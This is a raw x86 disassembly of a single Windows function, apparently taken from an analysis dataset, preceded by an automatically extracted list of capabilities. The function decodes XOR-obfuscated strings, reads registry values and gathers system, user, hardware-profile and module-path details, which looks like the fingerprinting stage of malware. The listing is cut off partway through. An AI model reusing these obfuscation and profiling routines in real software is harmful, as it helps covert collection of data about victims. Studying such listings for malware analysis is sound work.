Function at 0x4101e0
Capabilities:
Encode data using xor
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x52ba9b
push eax
mov dword fs:[0], esp
mov eax, 0x2060
push ebx
call fcn.00505c90
push esi
push edi
mov dword [ebp - 0xc0], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x551840]
movups xmmword [ebp - 0x2b7], xmm0
mov dword [ebp - 0x297], 0
xorps xmm0, xmm0
mov word [ebp - 0x293], 0
movups xmmword [ebp - 0x2a7], xmm0
mov byte [ebp - 0x291], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2b7], al
inc ecx
cmp ecx, 0x10
jb 0x410260
lea eax, [ebp - 0x2b7]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x2a7], 0
call fcn.00402b70
lea ecx, [ebp - 0x380]
mov byte [ebp - 4], 4
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x2f4]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x380]
mov byte [ebp - 4], 6
call fcn.00402ad0
xorps xmm0, xmm0
mov word [ebp - 0x17d], 0xd2d8
movups xmmword [ebp - 0x17b], xmm0
mov dword [ebp - 0x16b], 0
xor ecx, ecx
mov word [ebp - 0x167], 0
mov byte [ebp - 0x165], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x17d], al
inc ecx
cmp ecx, 2
jb 0x4102f0
lea eax, [ebp - 0x17d]
mov dword [0x565598], ecx
push eax
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x17b], 0
call fcn.00402b70
lea ecx, [ebp - 0x398]
call fcn.00402c10
lea ecx, [ebp - 0x2f4]
mov esi, eax
call fcn.00402c10
push esi
push eax
call fcn.0050ad80
add esp, 8
lea ecx, [ebp - 0x398]
mov edi, eax
mov dword [ebp - 0x54], edi
call fcn.00402ad0
test edi, edi
je 0x412836
call fcn.0040db80
test eax, eax
mov dword [ebp - 0x32], 0xded8c5ed
mov ecx, 0x20019
mov dword [ebp - 0x2e], 0x93958ed7
setne byte [ebp - 0x41]
mov word [ebp - 0x2a], 0xb5c4
test eax, eax
mov byte [ebp - 0x28], 0xb3
mov edx, 0x20119
mov dword [ebp - 0x17], 0
cmovne ecx, edx
mov word [ebp - 0x13], 0
cmp dword [0x562be8], 0x10
mov esi, 0x562bd4
xorps xmm0, xmm0
mov dword [ebp - 0x40], ecx
cmovae esi, dword [0x562bd4]
xor ecx, ecx
movups xmmword [ebp - 0x27], xmm0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xb
jb 0x4103c0
lea eax, [ebp - 0x32]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push esi
cmovae eax, dword [ebp - 0x118]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x118]
call fcn.00402ad0
cmp dword [0x5650d4], 0x10
mov esi, 0x5650c0
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xc1c3d5f9
cmovae esi, dword [0x5650c0]
xor ecx, ecx
mov dword [ebp - 0x32], 0x8cdbdbda
mov dword [ebp - 0x2e], 0xb7ca9d97
mov word [ebp - 0x2a], 0xb1b1
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x410460
lea eax, [ebp - 0x36]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push esi
cmovae eax, dword [ebp - 0x118]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x118]
call fcn.00402ad0
push 0
call fcn.00512ec9
add esp, 4
mov dword [ebp - 0x200], eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x1fc], edx
push eax
call fcn.005133b1
xorps xmm0, xmm0
mov dword [ebp - 0x2f], 0xd7c5d1eb
add esp, 4
mov dword [ebp - 0x2b], 0xc5909489
mov esi, eax
mov dword [ebp - 0x17], 0
movups xmmword [ebp - 0x27], xmm0
mov word [ebp - 0x13], 0
xor ecx, ecx
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 8
jb 0x410500
lea eax, [ebp - 0x2f]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push esi
cmovae eax, dword [ebp - 0x118]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x118]
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xdcdadefa
mov word [ebp - 0x2a], 0xc3dc
xor ecx, ecx
mov byte [ebp - 0x28], 0xdb
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x410580
lea eax, [ebp - 0x2e]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x27], 0
call fcn.00402b70
mov byte [ebp - 4], 7
lea eax, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
lea ecx, [ebp - 0x218]
cmovae eax, dword [ebp - 0x118]
push eax
call fcn.00402b70
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 9
call fcn.00402ad0
movaps xmm0, xmmword [0x551c50]
xor ecx, ecx
movups xmmword [ebp - 0xa2], xmm0
mov dword [ebp - 0x11c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x92], 0x819db4d9
mov dword [ebp - 0x8e], 0xb2b5bdb1
mov dword [ebp - 0x8a], 0xabbbafa8
mov word [ebp - 0x86], 0xa4bb
mov byte [ebp - 0x84], 0xb4
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 0x1f
jb 0x410640
lea eax, [ebp - 0xa2]
mov dword [0x565568], ecx
push eax
lea ecx, [ebp - 0x198]
mov byte [ebp - 0x83], 0
call fcn.00402b70
cmp dword [ebp - 0x184], 0x10
lea ecx, [ebp - 0x11c]
push ecx
push dword [ebp - 0x40]
lea eax, [ebp - 0x198]
cmovae eax, dword [ebp - 0x198]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x198]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4107b8
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0x20019
mov dword [ebp - 0x50], 0x400
xor ecx, ecx
mov dword [ebp - 0xe2], 0xdad2d1e2
mov dword [ebp - 0xde], 0xf1d0dada
mov word [ebp - 0xda], 0xd1c2
mov byte [ebp - 0xd8], 0xdd
movups xmmword [ebp - 0xd7], xmm0
mov dword [ebp - 0xc7], esi
mov word [ebp - 0xc3], si
mov byte [ebp - 0xc1], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xe2], al
inc ecx
cmp ecx, 0xb
jb 0x410710
lea eax, [ebp - 0xe2]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x198]
mov byte [ebp - 0xd7], 0
call fcn.00402b70
cmp dword [ebp - 0x184], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xb58]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
lea eax, [ebp - 0x198]
cmovae eax, dword [ebp - 0x198]
push 0
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x198]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4107ac
lea ecx, [ebp - 0xb58]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410790
sub ecx, edx
lea eax, [ebp - 0xb58]
push ecx
push eax
lea ecx, [ebp - 0x218]
call fcn.0048c8a0
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x204], 0x10
lea esi, [ebp - 0x218]
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xdad2d1e2
cmovae esi, dword [ebp - 0x218]
xor ecx, ecx
mov dword [ebp - 0x32], 0xffd0dada
mov dword [ebp - 0x2e], 0x9f9982f3
mov word [ebp - 0x2a], 0xb1c8
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x410805
push dword [ebp - 0x4c]
mov dword [0x565558], ecx
lea ecx, [ebp - 0x140]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x36]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410835
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.00402c40
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push esi
cmovae eax, dword [ebp - 0x140]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x140]
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xdcdadefa
mov word [ebp - 0x2a], 0xc3dc
xor ecx, ecx
mov byte [ebp - 0x28], 0xdb
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x4108a3
push dword [ebp - 0x4c]
mov dword [0x565560], ecx
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x2e]
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4108d3
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402c40
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x100]
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x230]
cmovae eax, dword [ebp - 0x100]
push eax
call fcn.00402b70
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0xe
call fcn.00402ad0
push 0x7c
lea eax, [ebp - 0x580]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x41096c
lea ecx, [ebp - 0x57c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410950
sub ecx, edx
lea eax, [ebp - 0x57c]
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.0048c8a0
cmp dword [ebp - 0x21c], 0x10
lea esi, [ebp - 0x230]
xorps xmm0, xmm0
mov dword [ebp - 0xe1], 0xf6f8e5e8
cmovae esi, dword [ebp - 0x230]
xor ecx, ecx
mov dword [ebp - 0xdd], 0xc5909489
mov word [ebp - 0xd9], 0xb2ba
movups xmmword [ebp - 0xd7], xmm0
mov dword [ebp - 0xc7], 0
mov word [ebp - 0xc3], 0
mov byte [ebp - 0xc1], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xe1], al
inc ecx
cmp ecx, 0xa
jb 0x4109c3
push dword [ebp - 0x4c]
mov dword [0x5655e0], ecx
lea ecx, [ebp - 0x140]
mov byte [ebp - 0xd7], 0
call fcn.00402c20
lea ecx, [ebp - 0xe1]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a00
sub ecx, edx
lea eax, [ebp - 0xe1]
push ecx
push eax
lea ecx, [ebp - 0x140]
call fcn.00402c40
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x140]
cmp dword [ebp - 0x12c], 0x10
push esi
cmovae eax, dword [ebp - 0x140]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x140]
call fcn.00402ad0
lea ecx, [ebp - 0x344]
call fcn.0040ed40
mov dword [ebp - 0xc0], eax
xorps xmm0, xmm0
mov byte [ebp - 0x1e0], 0xf0
movups xmmword [ebp - 0x1df], xmm0
mov dword [ebp - 0x1cf], 0
xor ecx, ecx
mov word [ebp - 0x1cb], 0
mov byte [ebp - 0x1c9], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1e0], al
inc ecx
cmp ecx, 1
jb 0x410a90
push dword [ebp - 0x4c]
mov dword [0x565620], ecx
lea ecx, [ebp - 0x118]
mov byte [ebp - 0x1df], 0
call fcn.00402c20
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x11
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ad0
sub ecx, edx
lea eax, [ebp - 0x1e0]
push ecx
push eax
lea ecx, [ebp - 0x118]
call fcn.00402c40
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
lea ecx, [ebp - 0x3f0]
cmovae eax, dword [ebp - 0x118]
mov dword [ebp - 0x48], eax
call fcn.0040ecd0
mov dword [ebp - 0xbc], eax
xorps xmm0, xmm0
mov byte [ebp - 0x1f8], 0xf0
movups xmmword [ebp - 0x1f7], xmm0
mov dword [ebp - 0x1e7], 0
xor ecx, ecx
mov word [ebp - 0x1e3], 0
mov byte [ebp - 0x1e1], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1f8], al
inc ecx
cmp ecx, 1
jb 0x410b45
push dword [ebp - 0x4c]
mov dword [0x565620], ecx
lea ecx, [ebp - 0x198]
mov byte [ebp - 0x1f7], 0
call fcn.00402c20
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x14
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b80
sub ecx, edx
lea eax, [ebp - 0x1f8]
push ecx
push eax
lea ecx, [ebp - 0x198]
call fcn.00402c40
cmp dword [ebp - 0x184], 0x10
lea esi, [ebp - 0x198]
xorps xmm0, xmm0
mov byte [ebp - 0x140], 0xf0
cmovae esi, dword [ebp - 0x198]
xor ecx, ecx
movups xmmword [ebp - 0x13f], xmm0
mov dword [ebp - 0x12f], 0
mov word [ebp - 0x12b], 0
mov byte [ebp - 0x129], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x140], al
inc ecx
cmp ecx, 1
jb 0x410be0
push dword [ebp - 0x4c]
mov dword [0x565620], ecx
lea ecx, [ebp - 0x290]
mov byte [ebp - 0x13f], 0
call fcn.00402c20
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c20
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
lea ecx, [ebp - 0x290]
call fcn.00402c40
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x290]
cmp dword [ebp - 0x27c], 0x10
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x3d8]
cmovae eax, dword [ebp - 0x290]
push eax
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 0x18
push ecx
mov edx, eax
lea ecx, [ebp - 0x3c0]
call fcn.00490bf0
add esp, 4
mov edx, eax
mov ecx, esi
mov byte [ebp - 4], 0x19
lea eax, [ecx + 1]
mov dword [ebp - 0x50], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c92
sub ecx, dword [ebp - 0x50]
push ecx
push esi
mov ecx, edx
call fcn.0048f5b0
push eax
lea ecx, [ebp - 0x158]
call fcn.00402b20
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x158]
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x1b0]
push eax
push dword [ebp - 0x4c]
call fcn.004944e0
mov byte [ebp - 4], 0x1b
mov esi, dword [ebp - 0x48]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ce0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1b0]
call fcn.0048f5b0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402b20
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x248]
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x278]
push eax
push dword [ebp - 0x4c]
call fcn.004944e0
lea ecx, [ebp - 0x248]
call fcn.00402ad0
lea ecx, [ebp - 0x1b0]
call fcn.00402ad0
lea ecx, [ebp - 0x158]
call fcn.00402ad0
lea ecx, [ebp - 0x3c0]
call fcn.00402ad0
lea ecx, [ebp - 0x3d8]
call fcn.00402ad0
lea ecx, [ebp - 0x290]
call fcn.00402ad0
lea ecx, [ebp - 0x198]
call fcn.00402ad0
lea ecx, [ebp - 0x3f0]
call fcn.00402ad0
lea ecx, [ebp - 0x118]
call fcn.00402ad0
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x27
call fcn.00402ad0
xorps xmm0, xmm0
mov byte [ebp - 0x2bc], 0
lea ecx, [ebp - 0x500]
movups xmmword [ebp - 0x2dc], xmm0
movups xmmword [ebp - 0x2cc], xmm0
call fcn.004a8d20
cmp dword [ebp - 0x264], 0x10
lea eax, [ebp - 0x278]
push dword [ebp - 0x268]
cmovae eax, dword [ebp - 0x278]
lea ecx, [ebp - 0x500]
push eax
call fcn.004a8b20
push 0
lea ecx, [ebp - 0x500]
call fcn.004a8bf0
cmp byte [ebp - 0x464], 0
je 0x410e1a
movups xmm0, xmmword [ebp - 0x453]
mov al, byte [ebp - 0x433]
mov byte [ebp - 0x2bc], al
movups xmmword [ebp - 0x2dc], xmm0
movups xmm0, xmmword [ebp - 0x443]
movups xmmword [ebp - 0x2cc], xmm0
xorps xmm0, xmm0
mov dword [ebp - 0x31], 0xf6f8e7e7
mov dword [ebp - 0x2d], 0xc5909489
xor ecx, ecx
mov word [ebp - 0x29], 0xb2ba
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 0xa
jb 0x410e48
push dword [ebp - 0x4c]
mov dword [0x5655e0], ecx
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x31]
mov byte [ebp - 4], 0x28
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e78
sub ecx, edx
lea eax, [ebp - 0x31]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402c40
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x2dc]
lea eax, [ebp - 0x100]
cmovae eax, dword [ebp - 0x100]
push ecx
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.00402ad0
push 0x104
lea eax, [ebp - 0xc60]
push 0
push eax
call fcn.00506f10
add esp, 0xc
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push 0x40eb10
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xc60]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x33], 0xd3e1baa2
mov dword [ebp - 0x2f], 0x968fdcc7
xor ecx, ecx
mov dword [ebp - 0x2b], 0xb0b4cb92
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xc
jb 0x410f33
push dword [ebp - 0x4c]
mov dword [0x565528], ecx
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x33]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f63
sub ecx, edx
lea eax, [ebp - 0x33]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402c40
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0xc60]
lea eax, [ebp - 0x100]
cmovae eax, dword [ebp - 0x100]
push ecx
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.00402ad0
movaps xmm0, xmmword [0x5515f0]
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
movups xmmword [ebp - 0x37], xmm0
cmovae esi, dword [ebx + 8]
xor ecx, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x17], 0
movups xmmword [ebp - 0x27], xmm0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x10
jb 0x410fe0
push dword [ebp - 0x4c]
mov dword [0x565628], ecx
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x37]
mov byte [ebp - 4], 0x2a
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411010
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402c40
cmp dword [ebp - 0xec], 0x10
lea eax, [ebp - 0x100]
push esi
cmovae eax, dword [ebp - 0x100]
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.00402ad0
cmp dword [ebx + 0x60], 0
je 0x411066
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x41106b
mov esi, 0x54ca18
xorps xmm0, xmm0
mov dword [ebp - 0x2f], 0x928be0e6
mov dword [ebp - 0x2b], 0xbcb8c796
xor ecx, ecx
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 8
jb 0x411093
push dword [ebp - 0x4c]
mov dword [0x565624], ecx
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402c20
lea ecx, [ebp - 0x2f]
mov byte [ebp - 4], 0x2b
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4110c0
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x27
call fcn.00402c10
push esi
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
cmp dword [ebx + 0x48], 0
je 0x411108
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x41110d
mov esi, 0x54ca18
cmp dword [ebx + 0x30], 0
je 0x411123
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x48], eax
jmp 0x41112a
mov dword [ebp - 0x48], 0x54ca18
movaps xmm0, xmmword [0x551a20]
xor ecx, ecx
movups xmmword [ebp - 0x39], xmm0
mov word [ebp - 0x29], 0xcab2
xorps xmm0, xmm0
mov dword [ebp - 0x17], 0
movups xmmword [ebp - 0x27], xmm0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 0x12
jb 0x411155
lea eax, [ebp - 0x39]
mov dword [0x5655dc], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
call fcn.00402c10
push esi
push dword [ebp - 0x48]
push eax
push edi
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
movaps xmm0, xmmword [0x551c50]
xor ecx, ecx
movups xmmword [ebp - 0xaf], xmm0
mov dword [ebp - 0x120], 0
movaps xmm0, xmmword [0x551680]
movups xmmword [ebp - 0x9f], xmm0
mov dword [ebp - 0x8f], 0xbcb4a2bd
xorps xmm0, xmm0
mov dword [ebp - 0x8b], 0xa4b082a7
mov dword [ebp - 0x87], 0xb4b6b1a4
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xaf], al
inc ecx
cmp ecx, 0x2c
jb 0x411200
lea eax, [ebp - 0xaf]
mov dword [0x5655b8], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
mov edi, 0xb0c00000
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0xc0], edi
call fcn.00402c10
lea ecx, [ebp - 0x120]
push ecx
push dword [ebp - 0x40]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4114e7
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0x20019
mov dword [ebp - 0x50], 0x400
xor ecx, ecx
mov dword [ebp - 0x32], 0xd6dec2ff
mov dword [ebp - 0x2e], 0xf8c1d7c6
mov word [ebp - 0x2a], 0xd5d6
mov byte [ebp - 0x28], 0xdc
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], esi
mov word [ebp - 0x13], si
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xb
jb 0x4112a7
lea eax, [ebp - 0x32]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xb58]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
lea eax, [ebp - 0x100]
cmovae eax, dword [ebp - 0x100]
push 0
push eax
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4114db
xor ecx, ecx
xorps xmm0, xmm0
cmp byte [ebp - 0x41], cl
je 0x411393
mov word [ebp - 0xda], 0x86d7
mov byte [ebp - 0xd8], 0x85
movups xmmword [ebp - 0xd7], xmm0
mov dword [ebp - 0xc7], ecx
mov word [ebp - 0xc3], cx
mov byte [ebp - 0xc1], cl
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xda], al
inc ecx
cmp ecx, 3
jb 0x411350
lea eax, [ebp - 0xda]
mov dword [0x565590], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0xd7], 0
call fcn.00402b70
mov byte [ebp - 4], 0x2c
lea esi, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
mov edi, 0xb0c00001
cmovae esi, dword [ebp - 0x6c]
jmp 0x4113f9
mov word [ebp - 0x2a], 0x83d7
mov byte [ebp - 0x28], 0x83
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 3
jb 0x4113b2
lea eax, [ebp - 0x2a]
mov dword [0x565590], ecx
push eax
lea ecx, [ebp - 0x30c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
mov dword [ebp - 4], 0x2d
lea esi, [ebp - 0x30c]
cmp dword [ebp - 0x2f8], 0x10
mov edi, 0xb0c00002
cmovae esi, dword [ebp - 0x30c]
movaps xmm0, xmmword [0x552560]
xor ecx, ecx
